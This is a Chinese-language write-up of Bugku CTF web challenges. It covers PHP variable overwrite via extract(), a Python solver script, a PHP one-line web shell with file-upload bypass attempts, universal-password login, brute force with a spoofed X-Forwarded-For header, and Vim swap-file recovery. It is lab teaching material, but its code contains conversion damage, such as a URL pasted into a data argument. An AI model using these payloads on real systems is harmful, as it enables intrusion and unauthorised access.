Bugku_Web_Writeup
Writeup略顯粗糙~~
部分Web題沒有得到最后的flag只是有了一個簡單的思路~
Web1:

如上,打開題目答題網址后就會彈出一張圖片,看圖片就可以發現是一段PHP原始碼,通過對原始碼的決議得出以下:
<?php
header("Content-type:text/html;charset=utr-8");
error_reporting(0);
include 'flag.php';
$b = 'ssAEDsssss';
extract($_GET);
// extract():將陣列中的鍵名設定為變數名,鍵值為變數中引數
if (isset($a)) { // isset():檢查變數是否存在
$c = trim(file_get_contents($b));
// file_get_contents():將整個檔案讀入一個字串中
// trim(): 函式可移除字串兩端的空白字符或其他預定義字符,因為沒有預定要刪的字符,所以會洗掉全部字符
// 處理一個文本檔案中的資料讀入進一個字串中,利用上述兩個函式進行格式處理
// 結合 $c 變數最后得到的字串就是一個空內容 ===> $c = ' '
if ($a == $c) { // 在之前isset()判斷是否存在$a變數,從php原始碼中沒有發現$a變數;故此在URL中可以構造一個變數a并空值
echo $myFlag ;
} else {
echo "No!";
}
}
?>
綜合分析:
PHP原始碼表達的flag顯示是在通過 isset($a) 和 $a == $c 判斷后echo顯示myFlag變數(即flag)以及原始碼中注釋說明,
我們需要的就是構造一個變數a給php原始碼,然而變數c在函式的聯合下,變數C的內容是空的,于是我們構造一個URL并且a變數為空
http://123.206.31.85:10001/?a=
Web2:


該題三秒自動重繪計算題和答案,所以需要在三秒內計算得出并填寫正確的答案獲取flag
如果按照人類的速度是……不可能的,于是只得借用腳本自動化了!
import requests,re
url = 'http://123.206.31.85:10002/'
// Session():模擬登錄操作
s = requests.Session() // 創建一個Session物件:s
def getURL(url):
con = s.get(url) // 發送請求,使用默認得登錄屬性
res = con.text // 獲取頁面text格式轉換得字串:res
return res
def Calculation(text):
result = eval(((re.findall(".*</p",text))[0])[0:-3]) // 正則篩選公式
return result // 回傳計算公式的結果 result
def postRES():
result = Calculation(getURL(url)) //呼叫函式回傳網頁頁面內容再呼叫
payload = {'result':result}
r = s.post(url,data=https://www.cnblogs.com/wangyuyang1016/p/payload) // 模擬提交計算結果給服務端
return r
print (postRES().text) // 回傳HTTP結果中的text資料
RUN后就可以得到我們想要的flag了!
*Web3:檔案包含

根據提示!得知網站允許我們上傳一張圖片!于是果斷上傳一句話木馬……
<?php eval($_POST[key]);?>
方法一:上傳php檔案
結果:失敗!
結論:設定了檔案型別審查
方法二:上傳png檔案,burp攔包改后綴.php
結果:失敗!
結論:不在客戶端進行,而是利用服務端進行檔案型別審查
…………
Web4:萬能登錄

可以看出是類后臺登錄的頁面,首先就是萬能密碼走一遍……

然后非常好玩的是……flag就出來了!搞得我還準備用brup爆破弱密碼呢……
*Web5:SQL注入
http://47.95.208.167:10005/
SQLMap注入:參考
Web6:管理員系統

眨眼一看,沒頭緒,我看了別人的Writeup,都說HTML代碼里有base64加密的password,但是原諒我“蠢”,沒有看見base64碼……
我按照“老”思路,扔了幾個字典跑了一下……(我用了六分鐘跑出來了)


哦!對了……記得修改X-Forwarded-For 的value為本地地址_從另一個角度可以認為這是一道關于偽造IP的題目!
*Web7:
[發貨系統]
web9:
頁面回傳如下一串字符:
put me a message bugku then you can get the flag
意思就是讓我們通過PUT方式提交“bugku”給服務端
于是我們抓包修改資料包內容:

修改請求方式為:PUT
添加請求的資訊物體內容:bugku
點擊:Go ===>
就會回應flag,但是回傳的是看不懂的“亂碼”
然而并不是……通過Base64解碼可以得到正確的flag碼
web10*:JWT的危險

頁面顯示登錄框,我們使用burp抓包并Request:

從回傳的資料包看出提示,從尾部的三個等于號推斷是Base32編碼,于是我們使用Base32解碼為字串

從解密的字串可以認為是登錄名和密碼,我們使用解碼結果登錄:

通過嘗試從這段文字中發現,Vim崩潰并且網站有秘密……
Vim崩潰時檔案會備份快取,并且以*.swp檔案格式存盤;當然了,如果檔案正常關倍訓自動洗掉同名的swp格式檔案,
文字中說了,是在寫這個網站的主頁時崩潰的~

呦西!一下子就看見了~那么我們就下載保存打開“L3yx.php.swp”檔案
swp檔案下載后,利用vi -r [file]恢復技識訓復檔案
L3yx.php原始碼如下:
<html>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
<title>在線日記本</title>
<form action="" method="POST">
<p>username: <input type="text" name="username" /></p>
<p>password: <input type="password" name="password" /></p>
<input type="submit" value=https://www.cnblogs.com/wangyuyang1016/p/"login" />
